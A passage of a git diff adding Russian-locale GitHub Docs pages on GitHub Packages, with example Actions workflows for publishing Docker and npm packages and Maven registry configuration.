with: + name: webpack artifacts + path: public/ + + run-npm-test: + runs-on: ubuntu-latest + needs: run-npm-build + strategy: + matrix: + os: [ubuntu-latest] + node-version: [12.x, 14.x] + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %} + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.node-version }}{% endraw %} + - uses: {% data reusables.actions.action-download-artifact %} + with: + name: webpack artifacts + path: public + - name: npm install, and test + run: | + npm install + npm test + env: + CI: true + + build-and-push-image: + runs-on: ubuntu-latest + needs: run-npm-test {% ifversion ghes or ghae %} + permissions: + contents: read + packages: write {% endif %} + steps: + - name: Checkout + uses: {% data reusables.actions.action-checkout %} + - name: Log in to GitHub Docker Registry + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 + with: + registry: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %} + username: {% raw %}${{ github.actor }}{% endraw %} + password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + - name: Build and push Docker image + uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc + with: + push: true + tags: | + {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}/{% raw %}${{ github.repository }}/octo-image:${{ github.sha }}{% endraw %} +``` +{% endif %} + +The relevant settings are explained in the following table. For full details about each element in a workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." + +<table> +<tr> +<td> +{% raw %} +```yaml +on: + push: + branches: ['release'] +``` +{% endraw %} +</td> +<td> + Configures the <code>Create and publish a Docker image</code> workflow to run every time a change is pushed to the branch called <code>release</code>. +</td> +</tr> + +{% ifversion fpt or ghec %} + +<tr> +<td> +{% raw %} +```yaml +env: + REGISTRY: ghcr.io + IMAGE_NAME: ${{ github.repository }} +``` +{% endraw %} +</td> +<td> + Defines two custom environment variables for the workflow. These are used for the {% data variables.product.prodname_container_registry %} domain, and a name for the Docker image that this workflow builds. +</td> +</tr> + +<tr> +<td> +{% raw %} +```yaml +jobs: + build-and-push-image: + runs-on: ubuntu-latest +``` +{% endraw %} +</td> +<td> + There is a single job in this workflow. It's configured to run on the latest available version of Ubuntu. +</td> +</tr> + +{% else %} + +<tr> +<td> + +```yaml +run-npm-build: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: npm install and build webpack + run: | + npm install + npm run build + - uses: {% data reusables.actions.action-upload-artifact %} + with: + name: webpack artifacts + path: public/ +``` + +</td> +<td> + This job installs NPM and uses it to build the app. +</td> +</tr> + +<tr> +<td> + +```yaml +run-npm-test: + runs-on: ubuntu-latest + needs: run-npm-build + strategy: + matrix: + os: [ubuntu-latest] + node-version: [12.x, 14.x] + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %} + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.node-version }}{% endraw %} + - uses: {% data reusables.actions.action-download-artifact %} + with: + name: webpack artifacts + path: public + - name: npm install, and test + run: | + npm install + npm test + env: + CI: true +``` + +</td> +<td> + This job uses <code>npm test</code> to test the code. The <code>needs: run-npm-build</code> command makes this job dependent on the <code>run-npm-build</code> job. +</td> +</tr> + +<tr> +<td> +{% raw %} +```yaml +build-and-push-image: + runs-on: ubuntu-latest + needs: run-npm-test +``` +{% endraw %} +</td> +<td> + This job publishes the package. The <code>needs: run-npm-test</code> command makes this job dependent on the <code>run-npm-test</code> job. +</td> +</tr> + +{% endif %} + +<tr> +<td> +{% raw %} +```yaml +permissions: + contents: read + packages: write +``` +{% endraw %} +</td> +<td> + Sets the permissions granted to the <code>GITHUB_TOKEN</code> for the actions in this job. +</td> +</tr> + +{% ifversion fpt or ghec %} +<tr> +<td> +{% raw %} +```yaml +- name: Log in to the Container registry + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 + with: + registry: ${{ env.REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} +``` +{% endraw %} +</td> +<td> + Creates a step called <code>Log in to the {% data variables.product.prodname_container_registry %}</code>, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here. +</td> +</tr> + +<tr> +<td> +{% raw %} +```yaml +- name: Extract metadata (tags, labels) for Docker + id: meta + uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 + with: + images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} +``` +{% endraw %} +</td> +<td> + This step uses <code><a href="https://github.com/docker/metadata-action#about">docker/metadata-action</a></code> to extract tags and labels that will be applied to the specified image. The <code>id</code> "meta" allows the output of this step to be referenced in a subsequent step. The <code>images</code> value provides the base name for the tags and labels. +</td> +</tr> + +{% else %} +<tr> +<td> +{% raw %} +```yaml +- name: Log in to GitHub Docker Registry + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 + with: + registry: {% endraw %}{% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}{% raw %} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} +``` +{% endraw %} +</td> +<td> + Creates a new step called <code>Log in to GitHub Docker Registry</code>, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here. +</td> +</tr> +{% endif %} + +<tr> +<td> +{% raw %} +```yaml +- name: Build and push Docker image +``` +{% endraw %} +</td> +<td> + Creates a new step called <code>Build and push Docker image</code>. This step runs as part of the <code>build-and-push-image</code> job. +</td> +</tr> + +<tr> +<td> +{% raw %} +```yaml +uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc +``` +{% endraw %} +</td> +<td> + Uses the Docker <code>build-push-action</code> action to build the image, based on your repository's <code>Dockerfile</code>. If the build succeeds, it pushes the image to {% data variables.product.prodname_registry %}. +</td> +</tr> + +<tr> +<td> +{% raw %} +```yaml +with: +``` +{% endraw %} +</td> +<td> + Sends the required parameters to the <code>build-push-action</code> action. These are defined in the subsequent lines. +</td> +</tr> + +{% ifversion fpt or ghec %} +<tr> +<td> +{% raw %} +```yaml +context: . +``` +{% endraw %} +</td> +<td> + Defines the build's context as the set of files located in the specified path. For more information, see "<a href="https://github.com/docker/build-push-action#usage">Usage</a>." +</td> +</tr> +{% endif %} + +<tr> +<td> +{% raw %} +```yaml +push: true +``` +{% endraw %} +</td> +<td> + Pushes this image to the registry if it is built successfully. +</td> +</tr> + +{% ifversion fpt or ghec %} +<tr> +<td> +{% raw %} +```yaml +tags: ${{ steps.meta.outputs.tags }} +labels: ${{ steps.meta.outputs.labels }} +``` +{% endraw %} +</td> +<td> + Adds the tags and labels extracted in the "meta" step. +</td> +</tr> + +{% else %} +<tr> +<td> +{% ifversion ghae %} +{% raw %} +```yaml +tags: | +docker.YOUR-HOSTNAME.com/${{ github.repository }}/octo-image:${{ github.sha }} +``` +{% endraw %} +{% else %} +{% raw %} +```yaml +tags: | +docker.pkg.github.com/${{ github.repository }}/octo-image:${{ github.sha }} +``` +{% endraw %} +{% endif %} +</td> +<td> + Tags the image with the SHA of the commit that triggered the workflow. +</td> +</tr> +{% endif %} + +</table> + +This new workflow will run automatically every time you push a change to a branch named `release` in the repository. You can view the progress in the **Actions** tab. + +A few minutes after the workflow has completed, the new package will visible in your repository. To find your available packages, see "[Viewing a repository's packages](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)." + +## Installing a package using an action + +You can install packages as part of your CI flow using {% data variables.product.prodname_actions %}. For example, you could configure a workflow so that anytime a developer pushes code to a pull request, the workflow resolves dependencies by downloading and installing packages hosted by {% data variables.product.prodname_registry %}. Then, the workflow can run CI tests that require the dependencies. + +Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt or ghec %} Data transfer is also free when an action installs a package. For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."{% endif %} + +{% data reusables.package_registry.actions-configuration %} + +{% ifversion fpt or ghec %} +## Upgrading a workflow that accesses a registry using a {% data variables.product.pat_generic %} + +The {% data variables.packages.prodname_ghcr_and_npm_registry %} support the `GITHUB_TOKEN` for easy and secure authentication in your workflows. If your workflow is using a {% data variables.product.pat_generic %} to authenticate to the registry, then we highly recommend you update your workflow to use the `GITHUB_TOKEN`. + +For more information about the `GITHUB_TOKEN`, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)." + +Using the `GITHUB_TOKEN` instead of a {% data variables.product.pat_v1 %}, which includes the `repo` scope, increases the security of your repository as you don't need to use a long-lived {% data variables.product.pat_generic %} that offers unnecessary access to the repository where your workflow is run. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)." + +1. Navigate to your package landing page. +1. In the left sidebar, click **Actions access**. + !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +1. To ensure your container package has access to your workflow, you must add the repository where the workflow is stored to your container. Click **Add repository** and search for the repository you want to add. + !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) + {% note %} + + **Note:** Adding a repository to your container through the **Actions access** menu option is different than connecting your container to a repository. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" and "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." + + {% endnote %} +1. Optionally, using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image. + ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) +1. Open your workflow file. On the line where you log in to the registry, replace your {% data variables.product.pat_generic %} with {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. + +For example, this workflow publishes a Docker image to the {% data variables.product.prodname_container_registry %} and uses {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} to authenticate. + +```yaml{:copy} +name: Demo Push + +on: + push: + # Publish `master` as Docker `latest` image. + branches: + - master + - seed + + # Publish `v1.2.3` tags as releases. + tags: + - v* + + # Run tests for any PRs. + pull_request: + +env: + IMAGE_NAME: ghtoken_product_demo + +jobs: + # Push image to GitHub Packages. + # See also https://docs.docker.com/docker-hub/builds/ + push: + runs-on: ubuntu-latest + permissions: + packages: write + contents: read + + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Build image + run: docker build . --file Dockerfile --tag $IMAGE_NAME --label "runnumber=${GITHUB_RUN_ID}" + + - name: Log in to registry + # This is where you will update the {% data variables.product.pat_generic %} to GITHUB_TOKEN + run: echo "{% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin + + - name: Push image + run: | + IMAGE_ID=ghcr.io/{% raw %}${{ github.repository_owner }}{% endraw %}/$IMAGE_NAME + + # Change all uppercase to lowercase + IMAGE_ID=$(echo $IMAGE_ID | tr '[A-Z]' '[a-z]') + # Strip git ref prefix from version + VERSION=$(echo "{% raw %}${{ github.ref }}{% endraw %}" | sed -e 's,.*/\(.*\),\1,') + # Strip "v" prefix from tag name + [[ "{% raw %}${{ github.ref }}{% endraw %}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//') + # Use Docker `latest` tag convention + [ "$VERSION" == "master" ] && VERSION=latest + echo IMAGE_ID=$IMAGE_ID + echo VERSION=$VERSION + docker tag $IMAGE_NAME $IMAGE_ID:$VERSION + docker push $IMAGE_ID:$VERSION +``` + +{% endif %} diff --git a/translations/ru-RU/content/packages/quickstart.md b/translations/ru-RU/content/packages/quickstart.md new file mode 100644 index 000000000000..96e85e42cbfb --- /dev/null +++ b/translations/ru-RU/content/packages/quickstart.md @@ -0,0 +1,136 @@ +--- +title: Краткое руководство по GitHub Packages +intro: 'Публикация в {% data variables.product.prodname_registry %} с помощью {% data variables.product.prodname_actions %}.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Quickstart +ms.openlocfilehash: a3e4869253e91766eaf44a06dcc71f92d59433fd +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009892' +--- +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве вы создадите рабочий процесс {% data variables.product.prodname_actions %}, чтобы протестировать код, а затем опубликовать его в {% data variables.product.prodname_registry %}. + +## Публикация пакета + +1. Создайте новый репозиторий в {% data variables.product.prodname_dotcom %}, добавив `.gitignore` для Node. Дополнительные сведения см. в разделе [Создание репозитория](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository). +2. Клонируйте репозиторий на локальный компьютер. + ```shell + $ git clone https://{% ifversion ghes or ghae %}YOUR-HOSTNAME{% else %}github.com{% endif %}/YOUR-USERNAME/YOUR-REPOSITORY.git + $ cd YOUR-REPOSITORY + ``` +3. Создайте файл `index.js` и добавьте базовое оповещение, говорящее "Hello world!" + {% raw %} + ```javascript{:copy} + console.log("Hello, World!"); + ``` + {% endraw %} +4. Инициализируйте пакет npm с помощью `npm init`. В мастере инициализации пакета введите пакет с именем _`@YOUR-USERNAME/YOUR-REPOSITORY`_ и задайте для тестового скрипта значение `exit 0`. При этом будет создан файл `package.json` со сведениями о пакете. + {% raw %} + ```shell + $ npm init + ... + package name: @YOUR-USERNAME/YOUR-REPOSITORY + ... + test command: exit 0 + ... + ``` + {% endraw %} +5. Выполните `npm install`, чтобы создать файл `package-lock.json`, а затем зафиксируйте и отправьте изменения в {% data variables.product.prodname_dotcom %}. + ```shell + $ npm install + $ git add index.js package.json package-lock.json + $ git commit -m "initialize npm package" + $ git push + ``` +6. Создайте каталог `.github/workflows`. В этом каталоге создайте файл с именем `release-package.yml`. +7. Скопируйте следующее содержимое YAML в файл `release-package.yml`{% ifversion ghes or ghae %}, заменив `YOUR-HOSTNAME` на имя вашего предприятия{% endif %}. + ```yaml{:copy} + name: Node.js Package + + on: + release: + types: [created] + + jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 12 + - run: npm ci + - run: npm test + + publish-gpr: + needs: build + runs-on: ubuntu-latest + permissions: + packages: write + contents: read + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: 12 + registry-url: {% ifversion ghes or ghae %}https://npm.YOUR-HOSTNAME.com/{% else %}https://npm.pkg.github.com/{% endif %} + - run: npm ci + - run: npm publish + env: + NODE_AUTH_TOKEN: ${% raw %}{{secrets.GITHUB_TOKEN}}{% endraw %} + ``` +8. Сообщите NPM, в какой области и реестре следует публиковать пакеты, одним из следующих способов. + - Добавьте файл конфигурации NPM для репозитория, создав в корневом каталоге файл `.npmrc` со следующим содержимым: {% raw %} + ```shell + @YOUR-USERNAME:registry=https://npm.pkg.github.com + ``` + {% endraw %} + - Измените файл `package.json` и укажите ключ `publishConfig`: {% raw %} + ```shell + "publishConfig": { + "@<em>YOUR-USERNAME</em>:registry": "https://npm.pkg.github.com" + } + ``` + {% endraw %} +9. Зафиксируйте и отправьте изменения в {% data variables.product.prodname_dotcom %}. + ```shell + $ git add .github/workflows/release-package.yml + # Also add the file you created or edited in the previous step. + $ git add .npmrc or package.json + $ git commit -m "workflow to publish package" + $ git push + ``` +10. Созданный рабочий процесс будет выполняться при каждом создании нового выпуска в репозитории. Если тесты пройдены, пакет будет опубликован в {% data variables.product.prodname_registry %}. + + Чтобы проверить это, перейдите на вкладку **Код** в репозитории и создайте новый выпуск. Дополнительные сведения см. в разделе [Управление выпусками в репозитории](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release). + +## Просмотр опубликованного пакета + +Вы можете просмотреть все опубликованные вами пакеты. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.package_registry.packages-from-code-tab %} {% data reusables.package_registry.navigate-to-packages %} + +## Установка опубликованного пакета + +Теперь, когда вы опубликовали пакет, его можно использовать в качестве зависимости в ваших проектах. Дополнительные сведения см. в разделе [Работа с реестром npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package). + +## Дальнейшие действия + +Базовый рабочий процесс, который вы только что добавили, запускается в любое время при создании нового выпуска в вашем репозитории. Но это только начало работы с {% data variables.product.prodname_registry %}. Вы можете публиковать свой пакет в нескольких реестрах с помощью одного рабочего процесса, активировать выполнение рабочего процесса при различных событиях, таких как объединенный запрос на вытягивание, управление контейнерами и многие другие. + +Сочетание {% data variables.product.prodname_registry %} и {% data variables.product.prodname_actions %} помогает автоматизировать практически все аспекты процессов разработки приложений. Вы готовы начать работу? Ниже приведены некоторые полезные ресурсы для следующих шагов в {% data variables.product.prodname_registry %} и {% data variables.product.prodname_actions %}: + +- [Изучение {% data variables.product.prodname_registry %}](/packages/learn-github-packages) — углубленное руководство по GitHub Packages +- [Изучение {% data variables.product.prodname_actions %}](/actions/learn-github-actions) — углубленное руководство по GitHub Actions +- [Работа с реестром {% data variables.product.prodname_registry %}](/packages/working-with-a-github-packages-registry) — конкретные варианты использования и примеры diff --git a/translations/ru-RU/content/packages/working-with-a-github-packages-registry/index.md b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/index.md new file mode 100644 index 000000000000..7ade4e8a96a3 --- /dev/null +++ b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/index.md @@ -0,0 +1,32 @@ +--- +title: Работа с реестром GitHub Packages +shortTitle: Working with a GitHub Packages registry +intro: 'Узнайте, как использовать поддерживаемый реестр {% data variables.product.prodname_registry %}.' +redirect_from: + - /github/managing-packages-with-github-packages/using-github-packages-with-your-projects-ecosystem + - /packages/using-github-packages-with-your-projects-ecosystem + - /packages/guides + - /packages/guides/package-client-guides-for-github-packages + - /packages/guides/container-guides-for-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /working-with-the-container-registry + - /working-with-the-docker-registry + - /working-with-the-rubygems-registry + - /working-with-the-npm-registry + - /working-with-the-apache-maven-registry + - /working-with-the-gradle-registry + - /working-with-the-nuget-registry + - /migrating-to-the-container-registry-from-the-docker-registry +ms.openlocfilehash: 69cfbe84b6c443a29066a4234ae29f557c305d38 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145140446' +--- +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} {% ifversion fpt or ghec %} ![Схема, демонстрирующая поддержку пакетов для Docker, Реестра контейнеров, RubyGems, npm, Apache Maven, NuGet и Gradle](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) {% else %} ![Схема, демонстрирующая поддержку пакетов для Docker, RubyGems, npm, Apache Maven, Gradle, NuGet и Docker](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) {% endif %} diff --git a/translations/ru-RU/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md new file mode 100644 index 000000000000..0fe78be91639 --- /dev/null +++ b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md @@ -0,0 +1,69 @@ +--- +title: Migrating to the Container registry from the Docker registry +intro: '{% ifversion docker-ghcr-enterprise-migration %}An enterprise owner can{% else %}{% data variables.product.company_short %} will{% endif %} migrate Docker images previously stored in the Docker registry on {% data variables.location.product_location %} to the {% data variables.product.prodname_container_registry %}.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /packages/getting-started-with-github-container-registry/migrating-to-github-container-registry-for-docker-images + - /packages/guides/container-guides-for-github-packages/migrating-to-github-container-registry-for-docker-images + - /packages/guides/migrating-to-github-container-registry-for-docker-images +versions: + fpt: '*' + ghec: '*' + feature: docker-ghcr-enterprise-migration +shortTitle: Migration to Container registry +topics: + - Containers + - Docker + - Migration +--- + +{% data reusables.package_registry.container-registry-ghes-beta %} + +## About the {% data variables.product.prodname_container_registry %} + +{% data reusables.package_registry.container-registry-benefits %} For more information, see "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." + +## About migration from the Docker registry + +{% data reusables.package_registry.container-registry-replaces-docker-registry %} If you've stored Docker images in the Docker registry, {% ifversion docker-ghcr-enterprise-migration %}an enterprise owner{% else %}{% data variables.product.company_short %}{% endif %} will gradually migrate the images to the {% data variables.product.prodname_container_registry %}. No action is required on your part. + +{% ifversion docker-ghcr-enterprise-migration %} + +{% note %} + +**Note**: {% data reusables.package_registry.container-registry-ghes-migration-availability %} For more information about finding the version of {% data variables.product.product_name %} that you use, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server)." + +{% endnote %} + +{% endif %} + +After a Docker image has been migrated to the {% data variables.product.prodname_container_registry %}, you'll see the following changes to the details for the package. + +- The icon will be the {% data variables.product.prodname_container_registry %} logo instead of the Docker logo. +- The domain in the pull URL will be {% data variables.product.prodname_container_registry_namespace %} instead of {% data variables.product.prodname_docker_registry_namespace %}. + +{% ifversion fpt or ghec %} + +![Screenshot of a Docker image migrated to the {% data variables.product.prodname_container_registry %}](/assets/images/help/package-registry/container-registry-details-page.png) + +{% endif %} + +{% data reusables.package_registry.container-registry-migration-namespaces %} + +{% ifversion fpt or ghec %} + +After migration, you'll no longer be able to use the GraphQL API to query for packages with a `PackageType` of "DOCKER". Instead, you can use the REST API to query for packages with a `package_type` of "container". For more information, see "[Packages](/rest/reference/packages)" in the REST API documentation. + +## About billing for {% data variables.product.prodname_container_registry %} + +For more information about billing for the {% data variables.product.prodname_container_registry %}, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." + +{% endif %} + +{% ifversion docker-ghcr-enterprise-migration %} + +## Further reading + +- "[Migrating your enterprise to the {% data variables.product.prodname_container_registry %} from the Docker registry](/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry)" + +{% endif %} diff --git a/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md new file mode 100644 index 000000000000..733136372bab --- /dev/null +++ b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md @@ -0,0 +1,194 @@ +--- +title: Working with the Apache Maven registry +intro: 'You can configure Apache Maven to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /articles/configuring-apache-maven-for-use-with-github-package-registry + - /github/managing-packages-with-github-package-registry/configuring-apache-maven-for-use-with-github-package-registry + - /github/managing-packages-with-github-packages/configuring-apache-maven-for-use-with-github-packages + - /packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages + - /packages/guides/configuring-apache-maven-for-use-with-github-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Apache Maven registry +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} +{% data reusables.package_registry.packages-ghae-release-stage %} + +{% data reusables.package_registry.admins-can-configure-package-types %} + +## Authenticating to {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.authenticate-packages %} + +{% data reusables.package_registry.authenticate-packages-github-token %} + +### Authenticating with a {% data variables.product.pat_generic %} + +{% data reusables.package_registry.required-scopes %} + +You can authenticate to {% data variables.product.prodname_registry %} with Apache Maven by editing your *~/.m2/settings.xml* file to include your {% data variables.product.pat_v1 %}. Create a new *~/.m2/settings.xml* file if one doesn't exist. + +In the `servers` tag, add a child `server` tag with an `id`, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, and *TOKEN* with your {% data variables.product.pat_generic %}. + +In the `repositories` tag, configure a repository by mapping the `id` of the repository to the `id` you added in the `server` tag containing your credentials. Replace {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %}, and{% endif %} *OWNER* with the name of the user or organization account that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. + +If you want to interact with multiple repositories, you can add each repository to separate `repository` children in the `repositories` tag, mapping the `id` of each to the credentials in the `servers` tag. + +{% data reusables.package_registry.apache-maven-snapshot-versions-supported %} + +{% ifversion ghes %} +If your instance has subdomain isolation enabled: +{% endif %} + +```xml +<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 + http://maven.apache.org/xsd/settings-1.0.0.xsd"> + + <activeProfiles> + <activeProfile>github</activeProfile> + </activeProfiles> + + <profiles> + <profile> + <id>github</id> + <repositories> + <repository> + <id>central</id> + <url>https://repo1.maven.org/maven2</url> + </repository> + <repository> + <id>github</id> + <url>https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}maven.HOSTNAME{% endif %}/OWNER/REPOSITORY</url> + <snapshots> + <enabled>true</enabled> + </snapshots> + </repository> + </repositories> + </profile> + </profiles> + + <servers> + <server> + <id>github</id> + <username>USERNAME</username> + <password>TOKEN</password> + </server> + </servers> +</settings> +``` + +{% ifversion ghes %} +If your instance has subdomain isolation disabled: + +```xml +<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 + http://maven.apache.org/xsd/settings-1.0.0.xsd"> + + <activeProfiles> + <activeProfile>github</activeProfile> + </activeProfiles> + + <profiles> + <profile> + <id>github</id> + <repositories> + <repository> + <id>central</id> + <url>https://repo1.maven.org/maven2</url> + </repository> + <repository> + <id>github</id> + <url>HOSTNAME/_registry/maven/OWNER/REPOSITORY</url> + <snapshots> + <enabled>true</enabled> + </snapshots> + </repository> + </repositories> + </profile> + </profiles> + + <servers> + <server> + <id>github</id> + <username>USERNAME</username> + <password>TOKEN</password> + </server> + </servers> +</settings> +``` +{% endif %} + +## Publishing a package + +{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example:test` in a repository called `OWNER/test`. + +If you would like to publish multiple packages to the same repository, you can include the URL of the repository in the `<distributionManagement>` element of the *pom.xml* file. {% data variables.product.prodname_dotcom %} will match the repository based on that field. Since the repository name is also part of the `distributionManagement` element, there are no additional steps to publish multiple packages to the same repository. + +For more information on creating a package, see the [maven.apache.org documentation](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). + +1. Edit the `distributionManagement` element of the *pom.xml* file located in your package directory, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %}, {% endif %}`OWNER` with the name of the user or organization account that owns the repository and `REPOSITORY` with the name of the repository containing your project.{% ifversion ghes %} + + If your instance has subdomain isolation enabled:{% endif %} + ```xml + <distributionManagement> + <repository> + <id>github</id> + <name>GitHub OWNER Apache Maven Packages</name> + <url>https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}maven.HOSTNAME{% endif %}/OWNER/REPOSITORY</url> + </repository> + </distributionManagement> + ```{% ifversion ghes %} + If your instance has subdomain isolation disabled: + ```xml + <distributionManagement> + <repository> + <id>github</id> + <name>GitHub OWNER Apache Maven Packages</name> + <url>https://HOSTNAME/_registry/maven/OWNER/REPOSITORY</url> + </repository> + </distributionManagement> + ```{% endif %} +{% data reusables.package_registry.checksum-maven-plugin %} +1. Publish the package. + ```shell + $ mvn deploy + ``` + +{% data reusables.package_registry.viewing-packages %} + +## Installing a package + +To install an Apache Maven package from {% data variables.product.prodname_registry %}, edit the *pom.xml* file to include the package as a dependency. If you want to install packages from more than one repository, add a `repository` tag for each. For more information on using a *pom.xml* file in your project, see "[Introduction to the POM](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)" in the Apache Maven documentation. + +{% data reusables.package_registry.authenticate-step %} +2. Add the package dependencies to the `dependencies` element of your project *pom.xml* file, replacing `com.example:test` with your package. + + ```xml + <dependencies> + <dependency> + <groupId>com.example</groupId> + <artifactId>test</artifactId> + <version>1.0.0-SNAPSHOT</version> + </dependency> + </dependencies> + ``` +{% data reusables.package_registry.checksum-maven-plugin %} +3. Install the package. + + ```shell + $ mvn install + ``` + +## Further reading + +- "[Working with the Gradle registry](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)" +- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" diff --git a/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md new file mode 100644 index 000000000000..6f00ec0d2edc --- /dev/null +++ b/translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md @@ -0,0 +1,166 @@ +--- +title: Working with the Container registry +intro: 'You can store and manage Docker and OCI images in the {% data variables.product.prodname_container_registry %}, which uses the package namespace `https://{% data reusables.package_registry.container-registry-hostname %}`.' +product: '{% data reusables.gated-features.packages %}' 